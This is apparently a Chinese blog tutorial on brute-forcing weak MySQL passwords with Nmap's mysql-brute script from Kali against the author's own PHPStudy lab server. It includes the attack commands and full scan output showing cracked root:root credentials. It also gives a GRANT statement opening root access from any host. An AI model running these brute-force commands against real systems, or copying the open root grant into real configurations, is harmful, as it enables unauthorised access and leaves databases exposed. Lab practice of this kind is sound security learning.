• Nmap爆破MySQL弱口令漏洞：解决报错Accounts: No valid accounts found

    nmap工具不仅仅能扫描，也可以暴力破解mysql，ftp，telnet等服务。

    看到这里不要怀疑，在kali系统中查一下到底支持哪些暴力破解功能，命令如下

    ls /usr/share/nmap/scripts |grep brute.nse

    查询结果为

    1. afp-brute.nse
    2. ajp-brute.nse
    3. backorifice-brute.nse
    4. cassandra-brute.nse
    5. cics-user-brute.nse
    6. cvs-brute.nse
    7. deluge-rpc-brute.nse
    8. dicom-brute.nse
    9. dns-brute.nse
    10. domcon-brute.nse
    11. dpap-brute.nse
    12. drda-brute.nse
    13. ftp-brute.nse
    14. http-brute.nse
    15. http-form-brute.nse
    16. http-iis-short-name-brute.nse
    17. http-joomla-brute.nse
    18. http-proxy-brute.nse
    19. http-wordpress-brute.nse
    20. iax2-brute.nse
    21. imap-brute.nse
    22. informix-brute.nse
    23. ipmi-brute.nse
    24. irc-brute.nse
    25. irc-sasl-brute.nse
    26. iscsi-brute.nse
    27. ldap-brute.nse
    28. membase-brute.nse
    29. metasploit-msgrpc-brute.nse
    30. metasploit-xmlrpc-brute.nse
    31. mikrotik-routeros-brute.nse
    32. mmouse-brute.nse
    33. mongodb-brute.nse
    34. ms-sql-brute.nse
    35. mysql-brute.nse
    36. nessus-brute.nse
    37. nessus-xmlrpc-brute.nse
    38. netbus-brute.nse
    39. nexpose-brute.nse
    40. nje-node-brute.nse
    41. nje-pass-brute.nse
    42. nping-brute.nse
    43. omp2-brute.nse
    44. openvas-otp-brute.nse
    45. oracle-brute.nse
    46. oracle-sid-brute.nse
    47. pcanywhere-brute.nse
    48. pgsql-brute.nse
    49. pop3-brute.nse
    50. redis-brute.nse
    51. rexec-brute.nse
    52. rlogin-brute.nse
    53. rpcap-brute.nse
    54. rsync-brute.nse
    55. rtsp-url-brute.nse
    56. sip-brute.nse
    57. smb-brute.nse
    58. smtp-brute.nse
    59. snmp-brute.nse
    60. socks-brute.nse
    61. ssh-brute.nse
    62. svn-brute.nse
    63. telnet-brute.nse
    64. tso-brute.nse
    65. vmauthd-brute.nse
    66. vnc-brute.nse
    67. xmpp-brute.nse

    如上查询结果包括mysql、ftp、telnet等多个服务的暴力破解。接下来就以MySQL为例讲一下如何就是用nmap进行暴力破解获取MySQL的弱口令漏洞，以及如何解决windows下小皮工具搭建的MySQL服务无法渗透成功的问题。

     一、Nmap暴力破解MySQL弱口令漏洞报错

    当前环境拓扑为kali虚拟机系统使用nmap进行渗透，主机安装PHPStudy，启动小皮后打开MySQL服务器，如下所示

     主机的ip地址为192.168.71.1，为了方便，构造简单字典如下所示：

    此时使用命令进行爆破

    nmap --script=mysql-brute --script-args userdb=/home/kali/user.txt,passdb=/home/kali/pass.txt 192.168.71.1 -p 3306

    参数特别说明，其中userdb:用户名字典，passdb:密码字典。不过在执行命令进行弱口令爆破时，报错信息如下

    原因是MySQL数据库为PHPStudy搭建，默认不允许远程访问，直接被拒绝访问

      二、PHPStudy配置允许远程连接

    1.进入MySQL命令行界面：

    （1）首先找到MySQL的bin文件安装路径，如下所示我这里的路径为D:\web\phpstudy_pro\Extensions\MySQL5.7.26\bin

    （2）进入到环境变量配置界面

    在path路径中增加MySQL的bin文件路径，如下所示

    2.登录MySQL：

    进入命令行界面输入

    mysql -u root -p 密码 （如果mysql初始账号和密码都是root）

    由于我的MySQL默认密码为root，故而在执行时命令如下

    mysql -u root -p

    运行如下图所示

    3.配置允许远程登录

    执行use mysql;回车

    use mysql

    执行grant all privileges on *.* to 自己的用户名@'%' identified by '密码'; 回车 这里要特别注意的是参数要填写正确，由于做实验的MySQL的用户名为root密码也为root，故而命令如下

    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

    执行flush privileges;回车

    flush privileges;

     我在执行前后分别查看当前可以访问数据库的用户以验证是否访问成功，命令如下

     SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user;

    执行完毕后效果如图所示

    由上图可知在最开始MySQL是不支持远程访问的，只允许localhost访问；在配置允许远程以root用户名和root密码访问成功后，可以查到当前允许远程访问。

    温馨提示：如果仍然配置正确仍然无法远程小皮，建议重启小皮的MySQL服务，如下所示

    三、KALI进行MySQL弱口令爆破

    在配置好MySQL允许远程访问后，执行nmap暴力破解命令，如下所示

    nmap --script=mysql-brute --script-args userdb=/home/kali/user.txt,passdb=/home/kali/pass.txt 192.168.71.1  -p 3306

    渗透成功，爆出弱口令用户名root和密码root，如下图所示

     接下来尝试nmap所有与MySQL相关的脚本进行渗透，命令如下

    nmap --script=mysql-* --script-args userdb=/home/kali/user.txt,passdb=/home/kali/pass.txt 192.168.71.1  -p 3306

     渗透结果如下所示：

    1. root@kali:/home/kali# nmap --script=mysql-* --script-args userdb=/home/kali/user.txt,passdb=/home/kali/pass.txt 192.168.71.1  -p 3306
    2. Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-23 09:45 EST
    3. Nmap scan report for 192.168.71.1
    4. Host is up (0.00016s latency).
    5.  
    6. PORT     STATE SERVICE
    7. 3306/tcp open  mysql
    8. | mysql-info: 
    9. |   Protocol: 10
    10. |   Version: 5.7.26
    11. |   Thread ID: 53
    12. |   Capabilities flags: 63487
    13. |   Some Capabilities: Support41Auth, Speaks41ProtocolOld, LongPassword, ConnectWithDatabase, ODBCClient, SupportsLoadDataLocal, SupportsTransactions, IgnoreSigpipes, InteractiveClient, FoundRows, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
    14. |   Status: Autocommit
    15. |   Salt: #xW:L~B\x05wPzo=9[\x1A9\x0F
    16. | v
    17. |_  Auth Plugin Name: mysql_native_password
    18. | mysql-users: 
    19. |   root
    20. |   mysql.session
    21. |_  mysql.sys
    22. | mysql-variables: 
    23. |   auto_increment_increment: 1
    24. |   auto_increment_offset: 1
    25. |   autocommit: ON
    26. |   automatic_sp_privileges: ON
    27. |   avoid_temporal_upgrade: OFF
    28. |   back_log: 70
    29. |   basedir: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\
    30. |   big_tables: OFF
    31. |   bind_address: *
    32. |   binlog_cache_size: 32768
    33. |   binlog_checksum: CRC32
    34. |   binlog_direct_non_transactional_updates: OFF
    35. |   binlog_error_action: ABORT_SERVER
    36. |   binlog_format: ROW
    37. |   binlog_group_commit_sync_delay: 0
    38. |   binlog_group_commit_sync_no_delay_count: 0
    39. |   binlog_gtid_simple_recovery: ON
    40. |   binlog_max_flush_queue_time: 0
    41. |   binlog_order_commits: ON
    42. |   binlog_row_image: FULL
    43. |   binlog_rows_query_log_events: OFF
    44. |   binlog_stmt_cache_size: 32768
    45. |   binlog_transaction_dependency_history_size: 25000
    46. |   binlog_transaction_dependency_tracking: COMMIT_ORDER
    47. |   block_encryption_mode: aes-128-ecb
    48. |   bulk_insert_buffer_size: 8388608
    49. |   character_set_client: latin1
    50. |   character_set_connection: latin1
    51. |   character_set_database: utf8
    52. |   character_set_filesystem: binary
    53. |   character_set_results: latin1
    54. |   character_set_server: utf8
    55. |   character_set_system: utf8
    56. |   character_sets_dir: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\share\charsets\
    57. |   check_proxy_users: OFF
    58. |   collation_connection: latin1_swedish_ci
    59. |   collation_database: utf8_unicode_ci
    60. |   collation_server: utf8_unicode_ci
    61. |   completion_type: NO_CHAIN
    62. |   concurrent_insert: AUTO
    63. |   connect_timeout: 10
    64. |   core_file: OFF
    65. |   datadir: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\data\
    66. |   date_format: %Y-%m-%d
    67. |   datetime_format: %Y-%m-%d %H:%i:%s
    68. |   default_authentication_plugin: mysql_native_password
    69. |   default_password_lifetime: 0
    70. |   default_storage_engine: MyISAM
    71. |   default_tmp_storage_engine: InnoDB
    72. |   default_week_format: 0
    73. |   delay_key_write: ON
    74. |   delayed_insert_limit: 100
    75. |   delayed_insert_timeout: 300
    76. |   delayed_queue_size: 1000
    77. |   disabled_storage_engines: 
    78. |   disconnect_on_expired_password: ON
    79. |   div_precision_increment: 4
    80. |   end_markers_in_json: OFF
    81. |   enforce_gtid_consistency: OFF
    82. |   eq_range_index_dive_limit: 200
    83. |   error_count: 0
    84. |   event_scheduler: OFF
    85. |   expire_logs_days: 0
    86. |   explicit_defaults_for_timestamp: OFF
    87. |   external_user: 
    88. |   flush: OFF
    89. |   flush_time: 0
    90. |   foreign_key_checks: ON
    91. |   ft_boolean_syntax: + -><()~*:""&|
    92. |   ft_max_word_len: 84
    93. |   ft_min_word_len: 4
    94. |   ft_query_expansion_limit: 20
    95. |   ft_stopword_file: (built-in)
    96. |   general_log: OFF
    97. |   general_log_file: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-068M2QO.log
    98. |   group_concat_max_len: 1024
    99. |   gtid_executed_compression_period: 1000
    100. |   gtid_mode: OFF
    101. |   gtid_next: AUTOMATIC
    102. |   gtid_owned: 
    103. |   gtid_purged: 
    104. |   have_compress: YES
    105. |   have_crypt: NO
    106. |   have_dynamic_loading: YES
    107. |   have_geometry: YES
    108. |   have_openssl: DISABLED
    109. |   have_profiling: YES
    110. |   have_query_cache: YES
    111. |   have_rtree_keys: YES
    112. |   have_ssl: DISABLED
    113. |   have_statement_timeout: YES
    114. |   have_symlink: YES
    115. |   host_cache_size: 228
    116. |   hostname: DESKTOP-068M2QO
    117. |   identity: 0
    118. |   ignore_builtin_innodb: OFF
    119. |   ignore_db_dirs: 
    120. |   init_connect: SET NAMES utf8
    121. |   init_file: 
    122. |   init_slave: 
    123. |   innodb_adaptive_flushing: ON
    124. |   innodb_adaptive_flushing_lwm: 10
    125. |   innodb_adaptive_hash_index: ON
    126. |   innodb_adaptive_hash_index_parts: 8
    127. |   innodb_adaptive_max_sleep_delay: 150000
    128. |   innodb_api_bk_commit_interval: 5
    129. |   innodb_api_disable_rowlock: OFF
    130. |   innodb_api_enable_binlog: OFF
    131. |   innodb_api_enable_mdl: OFF
    132. |   innodb_api_trx_level: 0
    133. |   innodb_autoextend_increment: 64
    134. |   innodb_autoinc_lock_mode: 1
    135. |   innodb_buffer_pool_chunk_size: 67108864
    136. |   innodb_buffer_pool_dump_at_shutdown: ON
    137. |   innodb_buffer_pool_dump_now: OFF
    138. |   innodb_buffer_pool_dump_pct: 25
    139. |   innodb_buffer_pool_filename: ib_buffer_pool
    140. |   innodb_buffer_pool_instances: 1
    141. |   innodb_buffer_pool_load_abort: OFF
    142. |   innodb_buffer_pool_load_at_startup: ON
    143. |   innodb_buffer_pool_load_now: OFF
    144. |   innodb_buffer_pool_size: 67108864
    145. |   innodb_change_buffer_max_size: 25
    146. |   innodb_change_buffering: all
    147. |   innodb_checksum_algorithm: crc32
    148. |   innodb_checksums: ON
    149. |   innodb_cmp_per_index_enabled: OFF
    150. |   innodb_commit_concurrency: 0
    151. |   innodb_compression_failure_threshold_pct: 5
    152. |   innodb_compression_level: 6
    153. |   innodb_compression_pad_pct_max: 50
    154. |   innodb_concurrency_tickets: 5000
    155. |   innodb_data_file_path: ibdata1:12M:autoextend
    156. |   innodb_data_home_dir: 
    157. |   innodb_deadlock_detect: ON
    158. |   innodb_default_row_format: dynamic
    159. |   innodb_disable_sort_file_cache: OFF
    160. |   innodb_doublewrite: ON
    161. |   innodb_fast_shutdown: 1
    162. |   innodb_file_format: Barracuda
    163. |   innodb_file_format_check: ON
    164. |   innodb_file_format_max: Barracuda
    165. |   innodb_file_per_table: ON
    166. |   innodb_fill_factor: 100
    167. |   innodb_flush_log_at_timeout: 1
    168. |   innodb_flush_log_at_trx_commit: 1
    169. |   innodb_flush_method: 
    170. |   innodb_flush_neighbors: 1
    171. |   innodb_flush_sync: ON
    172. |   innodb_flushing_avg_loops: 30
    173. |   innodb_force_load_corrupted: OFF
    174. |   innodb_force_recovery: 0
    175. |   innodb_ft_aux_table: 
    176. |   innodb_ft_cache_size: 8000000
    177. |   innodb_ft_enable_diag_print: OFF
    178. |   innodb_ft_enable_stopword: ON
    179. |   innodb_ft_max_token_size: 84
    180. |   innodb_ft_min_token_size: 3
    181. |   innodb_ft_num_word_optimize: 2000
    182. |   innodb_ft_result_cache_limit: 2000000000
    183. |   innodb_ft_server_stopword_table: 
    184. |   innodb_ft_sort_pll_degree: 2
    185. |   innodb_ft_total_cache_size: 640000000
    186. |   innodb_ft_user_stopword_table: 
    187. |   innodb_io_capacity: 200
    188. |   innodb_io_capacity_max: 2000
    189. |   innodb_large_prefix: ON
    190. |   innodb_lock_wait_timeout: 120
    191. |   innodb_locks_unsafe_for_binlog: OFF
    192. |   innodb_log_buffer_size: 4194304
    193. |   innodb_log_checksums: ON
    194. |   innodb_log_compressed_pages: ON
    195. |   innodb_log_file_size: 268435456
    196. |   innodb_log_files_in_group: 2
    197. |   innodb_log_group_home_dir: .\
    198. |   innodb_log_write_ahead_size: 8192
    199. |   innodb_lru_scan_depth: 1024
    200. |   innodb_max_dirty_pages_pct: 75.000000
    201. |   innodb_max_dirty_pages_pct_lwm: 0.000000
    202. |   innodb_max_purge_lag: 0
    203. |   innodb_max_purge_lag_delay: 0
    204. |   innodb_max_undo_log_size: 1073741824
    205. |   innodb_monitor_disable: 
    206. |   innodb_monitor_enable: 
    207. |   innodb_monitor_reset: 
    208. |   innodb_monitor_reset_all: 
    209. |   innodb_old_blocks_pct: 37
    210. |   innodb_old_blocks_time: 1000
    211. |   innodb_online_alter_log_max_size: 134217728
    212. |   innodb_open_files: 300
    213. |   innodb_optimize_fulltext_only: OFF
    214. |   innodb_page_cleaners: 1
    215. |   innodb_page_size: 16384
    216. |   innodb_print_all_deadlocks: OFF
    217. |   innodb_purge_batch_size: 300
    218. |   innodb_purge_rseg_truncate_frequency: 128
    219. |   innodb_purge_threads: 4
    220. |   innodb_random_read_ahead: OFF
    221. |   innodb_read_ahead_threshold: 56
    222. |   innodb_read_io_threads: 4
    223. |   innodb_read_only: OFF
    224. |   innodb_replication_delay: 0
    225. |   innodb_rollback_on_timeout: OFF
    226. |   innodb_rollback_segments: 128
    227. |   innodb_sort_buffer_size: 1048576
    228. |   innodb_spin_wait_delay: 6
    229. |   innodb_stats_auto_recalc: ON
    230. |   innodb_stats_include_delete_marked: OFF
    231. |   innodb_stats_method: nulls_equal
    232. |   innodb_stats_on_metadata: OFF
    233. |   innodb_stats_persistent: ON
    234. |   innodb_stats_persistent_sample_pages: 20
    235. |   innodb_stats_sample_pages: 8
    236. |   innodb_stats_transient_sample_pages: 8
    237. |   innodb_status_output: OFF
    238. |   innodb_status_output_locks: OFF
    239. |   innodb_strict_mode: ON
    240. |   innodb_support_xa: ON
    241. |   innodb_sync_array_size: 1
    242. |   innodb_sync_spin_loops: 30
    243. |   innodb_table_locks: ON
    244. |   innodb_temp_data_file_path: ibtmp1:12M:autoextend
    245. |   innodb_thread_concurrency: 0
    246. |   innodb_thread_sleep_delay: 10000
    247. |   innodb_tmpdir: 
    248. |   innodb_undo_directory: .\
    249. |   innodb_undo_log_truncate: OFF
    250. |   innodb_undo_logs: 128
    251. |   innodb_undo_tablespaces: 0
    252. |   innodb_use_native_aio: ON
    253. |   innodb_version: 5.7.26
    254. |   innodb_write_io_threads: 4
    255. |   insert_id: 0
    256. |   interactive_timeout: 120
    257. |   internal_tmp_disk_storage_engine: InnoDB
    258. |   join_buffer_size: 2097152
    259. |   keep_files_on_create: OFF
    260. |   key_buffer_size: 33554432
    261. |   key_cache_age_threshold: 300
    262. |   key_cache_block_size: 1024
    263. |   key_cache_division_limit: 100
    264. |   keyring_operations: ON
    265. |   large_files_support: ON
    266. |   large_page_size: 0
    267. |   large_pages: OFF
    268. |   last_insert_id: 0
    269. |   lc_messages: en_US
    270. |   lc_messages_dir: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\share\
    271. |   lc_time_names: en_US
    272. |   license: GPL
    273. |   local_infile: ON
    274. |   lock_wait_timeout: 31536000
    275. |   log_bin: OFF
    276. |   log_bin_basename: 
    277. |   log_bin_index: 
    278. |   log_bin_trust_function_creators: OFF
    279. |   log_bin_use_v1_row_events: OFF
    280. |   log_builtin_as_identified_by_password: OFF
    281. |   log_error: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\data.err
    282. |   log_error_verbosity: 1
    283. |   log_output: FILE
    284. |   log_queries_not_using_indexes: OFF
    285. |   log_slave_updates: OFF
    286. |   log_slow_admin_statements: OFF
    287. |   log_slow_slave_statements: OFF
    288. |   log_statements_unsafe_for_binlog: ON
    289. |   log_syslog: ON
    290. |   log_syslog_tag: 
    291. |   log_throttle_queries_not_using_indexes: 0
    292. |   log_timestamps: UTC
    293. |   log_warnings: 0
    294. |   long_query_time: 10.000000
    295. |   low_priority_updates: OFF
    296. |   lower_case_file_system: ON
    297. |   lower_case_table_names: 1
    298. |   master_info_repository: FILE
    299. |   master_verify_checksum: OFF
    300. |   max_allowed_packet: 16777216
    301. |   max_binlog_cache_size: 18446744073709547520
    302. |   max_binlog_size: 1073741824
    303. |   max_binlog_stmt_cache_size: 18446744073709547520
    304. |   max_connect_errors: 100
    305. |   max_connections: 100
    306. |   max_delayed_threads: 20
    307. |   max_digest_length: 1024
    308. |   max_error_count: 64
    309. |   max_execution_time: 0
    310. |   max_heap_table_size: 67108864
    311. |   max_insert_delayed_threads: 20
    312. |   max_join_size: 18446744073709551615
    313. |   max_length_for_sort_data: 1024
    314. |   max_points_in_geometry: 65536
    315. |   max_prepared_stmt_count: 16382
    316. |   max_relay_log_size: 0
    317. |   max_seeks_for_key: 4294967295
    318. |   max_sort_length: 1024
    319. |   max_sp_recursion_depth: 0
    320. |   max_tmp_tables: 32
    321. |   max_user_connections: 0
    322. |   max_write_lock_count: 4294967295
    323. |   metadata_locks_cache_size: 1024
    324. |   metadata_locks_hash_instances: 8
    325. |   min_examined_row_limit: 0
    326. |   multi_range_count: 256
    327. |   myisam_data_pointer_size: 6
    328. |   myisam_max_sort_file_size: 68719476736
    329. |   myisam_mmap_size: 18446744073709551615
    330. |   myisam_recover_options: OFF
    331. |   myisam_repair_threads: 1
    332. |   myisam_sort_buffer_size: 33554432
    333. |   myisam_stats_method: nulls_unequal
    334. |   myisam_use_mmap: OFF
    335. |   mysql_native_password_proxy_users: OFF
    336. |   named_pipe: OFF
    337. |   named_pipe_full_access_group: *everyone*
    338. |   net_buffer_length: 16384
    339. |   net_read_timeout: 30
    340. |   net_retry_count: 10
    341. |   net_write_timeout: 60
    342. |   new: OFF
    343. |   ngram_token_size: 2
    344. |   offline_mode: OFF
    345. |   old: OFF
    346. |   old_alter_table: OFF
    347. |   old_passwords: 0
    348. |   open_files_limit: 7048
    349. |   optimizer_prune_level: 1
    350. |   optimizer_search_depth: 62
    351. |   optimizer_switch: \x90\x01index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,engine_condition_pushdown=on,index_condition_pushdown=on,mrr=on,mrr_cost_based=on,block_nested_loop=on,batched_key_access=off,materialization=on,semijoin=on,loo
    352. |   n=on,firstmatch=on,duplicateweedout=on,subquery_materialization_cost_based=on,use_index_extension: =on,condition_fanout_filter=on,derived_merge=on)\x00\x00N\x0Foptimizer_trace\x18enabled=off,one_line=offd\x00\x00O\x18optimizer_trace_fe
    353. |   sJgreedy_search=on,range_optimizer=on,dynamic_range=on,repeated_subselect=on\x18\x00\x00P\x15optimizer_trace_limi: \x011#\x00\x00Q\x1Coptimizer_trace_max_mem_size\x0516384\x1A\x00\x00R\x16optimizer_trace_offset\x02-1)\x00\x00S\x13parser_max_mem_size\x1418446744073709551615
    354. |   performance_schema: ON
    355. |   performance_schema_accounts_size: -1
    356. |   performance_schema_digests_size: 5000
    357. |   performance_schema_events_stages_history_long_size: 1000
    358. |   performance_schema_events_stages_history_size: 10
    359. |   performance_schema_events_statements_history_long_size: 1000
    360. |   performance_schema_events_statements_history_size: 10
    361. |   performance_schema_events_transactions_history_long_size: 1000
    362. |   performance_schema_events_transactions_history_size: 10
    363. |   performance_schema_events_waits_history_long_size: 1000
    364. |   performance_schema_events_waits_history_size: 10
    365. |   performance_schema_hosts_size: -1
    366. |   performance_schema_max_cond_classes: 80
    367. |   performance_schema_max_cond_instances: -1
    368. |   performance_schema_max_digest_length: 1024
    369. |   performance_schema_max_file_classes: 80
    370. |   performance_schema_max_file_handles: 32768
    371. |   performance_schema_max_file_instances: -1
    372. |   performance_schema_max_index_stat: -1
    373. |   performance_schema_max_memory_classes: 320
    374. |   performance_schema_max_metadata_locks: -1
    375. |   performance_schema_max_mutex_classes: 210
    376. |   performance_schema_max_mutex_instances: -1
    377. |   performance_schema_max_prepared_statements_instances: -1
    378. |   performance_schema_max_program_instances: -1
    379. |   performance_schema_max_rwlock_classes: 50
    380. |   performance_schema_max_rwlock_instances: -1
    381. |   performance_schema_max_socket_classes: 10
    382. |   performance_schema_max_socket_instances: -1
    383. |   performance_schema_max_sql_text_length: 1024
    384. |   performance_schema_max_stage_classes: 150
    385. |   performance_schema_max_statement_classes: 193
    386. |   performance_schema_max_statement_stack: 10
    387. |   performance_schema_max_table_handles: -1
    388. |   performance_schema_max_table_instances: -1
    389. |   performance_schema_max_table_lock_stat: -1
    390. |   performance_schema_max_thread_classes: 50
    391. |   performance_schema_max_thread_instances: -1
    392. |   performance_schema_session_connect_attrs_size: 512
    393. |   performance_schema_setup_actors_size: -1
    394. |   performance_schema_setup_objects_size: -1
    395. |   performance_schema_users_size: -1
    396. |   pid_file: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-068M2QO.pid
    397. |   plugin_dir: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
    398. |   port: 3306
    399. |   preload_buffer_size: 32768
    400. |   profiling: OFF
    401. |   profiling_history_size: 15
    402. |   protocol_version: 10
    403. |   proxy_user: 
    404. |   pseudo_slave_mode: OFF
    405. |   pseudo_thread_id: 1566
    406. |   query_alloc_block_size: 8192
    407. |   query_cache_limit: 1048576
    408. |   query_cache_min_res_unit: 4096
    409. |   query_cache_size: 1048576
    410. |   query_cache_type: OFF
    411. |   query_cache_wlock_invalidate: OFF
    412. |   query_prealloc_size: 8192
    413. |   rand_seed1: 0
    414. |   rand_seed2: 0
    415. |   range_alloc_block_size: 4096
    416. |   range_optimizer_max_mem_size: 8388608
    417. |   rbr_exec_mode: STRICT
    418. |   read_buffer_size: 524288
    419. |   read_only: OFF
    420. |   read_rnd_buffer_size: 4194304
    421. |   relay_log: 
    422. |   relay_log_basename: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-068M2QO-relay-bin
    423. |   relay_log_index: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-068M2QO-relay-bin.index
    424. |   relay_log_info_file: relay-log.info
    425. |   relay_log_info_repository: FILE
    426. |   relay_log_purge: ON
    427. |   relay_log_recovery: OFF
    428. |   relay_log_space_limit: 0
    429. |   report_host: 
    430. |   report_password: 
    431. |   report_port: 3306
    432. |   report_user: 
    433. |   require_secure_transport: OFF
    434. |   rpl_stop_slave_timeout: 31536000
    435. |   secure_auth: ON
    436. |   secure_file_priv: NULL
    437. |   server_id: 1
    438. |   server_id_bits: 32
    439. |   server_uuid: ae0a8ec4-6fc1-11e9-821a-4ccc6a4d7344
    440. |   session_track_gtids: OFF
    441. |   session_track_schema: ON
    442. |   session_track_state_change: OFF
    443. |   session_track_system_variables: time_zone,autocommit,character_set_client,character_set_results,character_set_connection
    444. |   session_track_transaction_info: OFF
    445. |   sha256_password_proxy_users: OFF
    446. |   shared_memory: OFF
    447. |   shared_memory_base_name: MYSQL
    448. |   show_compatibility_56: OFF
    449. |   show_create_table_verbosity: OFF
    450. |   show_old_temporals: OFF
    451. |   skip_external_locking: ON
    452. |   skip_name_resolve: OFF
    453. |   skip_networking: OFF
    454. |   skip_show_database: OFF
    455. |   slave_allow_batching: OFF
    456. |   slave_checkpoint_group: 512
    457. |   slave_checkpoint_period: 300
    458. |   slave_compressed_protocol: OFF
    459. |   slave_exec_mode: STRICT
    460. |   slave_load_tmpdir: C:\Users\ADMINI~1\AppData\Local\Temp
    461. |   slave_max_allowed_packet: 1073741824
    462. |   slave_net_timeout: 60
    463. |   slave_parallel_type: DATABASE
    464. |   slave_parallel_workers: 0
    465. |   slave_pending_jobs_size_max: 16777216
    466. |   slave_preserve_commit_order: OFF
    467. |   slave_rows_search_algorithms: TABLE_SCAN,INDEX_SCAN
    468. |   slave_skip_errors: OFF
    469. |   slave_sql_verify_checksum: ON
    470. |   slave_transaction_retries: 10
    471. |   slave_type_conversions: 
    472. |   slow_launch_time: 2
    473. |   slow_query_log: OFF
    474. |   slow_query_log_file: D:\web\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-068M2QO-slow.log
    475. |   socket: MySQL
    476. |   sort_buffer_size: 262144
    477. |   sql_auto_is_null: OFF
    478. |   sql_big_selects: ON
    479. |   sql_buffer_result: OFF
    480. |   sql_log_bin: ON
    481. |   sql_log_off: OFF
    482. |   sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
    483. |   sql_notes: ON
    484. |   sql_quote_show_create: ON
    485. |   sql_safe_updates: OFF
    486. |   sql_select_limit: 18446744073709551615
    487. |   sql_slave_skip_counter: 0
    488. |   sql_warnings: OFF
    489. |   ssl_ca: 
    490. |   ssl_capath: 
    491. |   ssl_cert: 
    492. |   ssl_cipher: 
    493. |   ssl_crl: 
    494. |   ssl_crlpath: 
    495. |   ssl_key: 
    496. |   stored_program_cache: 256
    497. |   super_read_only: OFF
    498. |   sync_binlog: 1
    499. |   sync_frm: ON
    500. |   sync_master_info: 10000
    501. |   sync_relay_log: 10000
    502. |   sync_relay_log_info: 10000
    503. |   system_time_zone: 
    504. |   table_definition_cache: 528
    505. |   table_open_cache: 256
    506. |   table_open_cache_instances: 16
    507. |   thread_cache_size: 16
    508. |   thread_handling: one-thread-per-connection
    509. |   thread_stack: 262144
    510. |   time_format: %H:%i:%s
    511. |   time_zone: SYSTEM
    512. |   timestamp: 1669214744.015649
    513. |   tls_version: TLSv1,TLSv1.1
    514. |   tmp_table_size: 67108864
    515. |   tmpdir: C:\Users\ADMINI~1\AppData\Local\Temp
    516. |   transaction_alloc_block_size: 8192
    517. |   transaction_allow_batching: OFF
    518. |   transaction_isolation: REPEATABLE-READ
    519. |   transaction_prealloc_size: 4096
    520. |   transaction_read_only: OFF
    521. |   transaction_write_set_extraction: OFF
    522. |   tx_isolation: REPEATABLE-READ
    523. |   tx_read_only: OFF
    524. |   unique_checks: ON
    525. |   updatable_views_with_limit: YES
    526. |   version: 5.7.26
    527. |   version_comment: MySQL Community Server (GPL)
    528. |   version_compile_machine: x86_64
    529. |   version_compile_os: Win64
    530. |   wait_timeout: 120
    531. |_  warning_count: 0
    532. | mysql-databases: 
    533. |   information_schema
    534. |   challenges
    535. |   ljn
    536. |   met
    537. |   mysql
    538. |   pentesterlab
    539. |   performance_schema
    540. |   pikachu
    541. |   pkxss
    542. |   security
    543. |   sys
    544. |   webug
    545. |   webug_sys
    546. |_  webug_width_byte
    547. | mysql-enum: 
    548. |   Valid usernames: 
    549. |     root:<empty> - Valid credentials
    550. |_  Statistics: Performed 1 guesses in 1 seconds, average tps: 1.0
    551. | mysql-brute: 
    552. |   Accounts: 
    553. |     root:root - Valid credentials
    554. |_  Statistics: Performed 2 guesses in 1 seconds, average tps: 2.0
    555. MAC Address: 00:50:56:C0:00:08 (VMware)

  • 相关阅读:
    维也纳酒店抚州市政中心店以品牌之力创造非凡价值
    STM32F407的时钟
    Java SSL/TLS证书认证逻辑
    4. 类型转换指令
    NJU操作系统公开课笔记（1）
    linux内核中内存反碎片技术
    叶酸/羧基/阿霉素/叠氮化合物氮杂苯甲酸/聚多巴胺/PEI修饰二硫化钨(WS2-FA)
    c primer plus(2)
    百度百科词条怎么更新？怎么能顺利更新百科词条？
    SpringBoot概述
  • 原文地址：https://blog.csdn.net/mooyuan/article/details/128008991